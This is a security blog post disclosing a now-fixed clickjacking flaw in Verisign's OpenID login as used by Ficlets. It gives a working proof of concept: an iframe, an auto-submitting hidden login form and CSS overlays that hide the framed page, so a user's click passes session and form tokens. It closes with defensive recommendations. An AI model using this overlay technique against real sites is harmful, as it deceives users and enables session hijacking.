OpenID security CSS overlays

Update…

Verisign have now fixed the vulnerability.

I’ve wrote about this before but I’m sure that some people might not know the risks involved, so I’ve created a demonstration of how to use CSS and iframe overlays to take any section of a web site and place it on any other web site. The user wouldn’t know the difference and the danger is that all session information and form tokens are being passed as soon as the user clicks.

2 web pages are used to construct the attack, 1 page contains the div overlays and a iframe of the other page. The embedded iframe performs a login request on the Ficlets web site, which in turn passes the information to the Verisign OpenID provider web site. CSS is used to position both iframes and the div overlays to place the required section of the site and obscure unwanted elements of the embedded site.

Here the login form is initiated:-

<iframe src="http://ficlets.com/signin/openid.signin?openid=" 
name="iframe" id="iframe"></iframe>

Then the login request submission:-

<script type="text/javascript">
window.onload = function() {
 document.forms[0].submit();
 document.getElementById('iframe').onload = function() {
  document.getElementById('iframe').style.display = 'block';
  }
}
</script>


<form action="http://ficlets.com/signin/openid.signin" method="post" 
id="openid-form" target="iframe">
<input type="hidden" name="openid" id="openid-url" class="text-field" 
value="openidtester.pip.verisignlabs.com" />			
</form>

All that is left to do then is provide the CSS to position the elements correctly:-

Embedded iframe performs the login

#iframe {
  display:none;
  position:absolute;
  left:0;
  top:-160px;
  border:0;
  width:180px;
  height:200px;
  overflow:hidden;
}

Master document holds the iframe and performs CSS overlays

.iframe {
  margin-top:50px;
  border:0;
  width:420px;
  height:420px;
  overflow:hidden;
  margin-bottom:200px;
  position:absolute;
  left:-220px;
  z-index:-2;
  top:0px;
 }
 .overlay1, .overlay2 {
 	background-color:#FFF;
	height:300px;
	position:absolute;
	width:400px;
	left:0;
	top:50px;
	z-index:-1;
 }
 .overlay2 {
 	top:430px;
 }
 .overlay3 {
 	position:absolute;
	left:0px;
	top:350px;
	z-index:-1;
	background-color:#FFF;
	width:350px;
	height:50px;
 }
.overlay3 p {
	position:absolute;
	left:70px;
}

A full demo is available here:-
OpenID overlay demo (Fixed by Verisign)

Requirements

1. Firefox
2. Verisign OpenID account

Recommendations

All providers should use iframe protection, form tokens and referrer checking. In an ideal world browsers should not allow CSS to be applied to a iframe.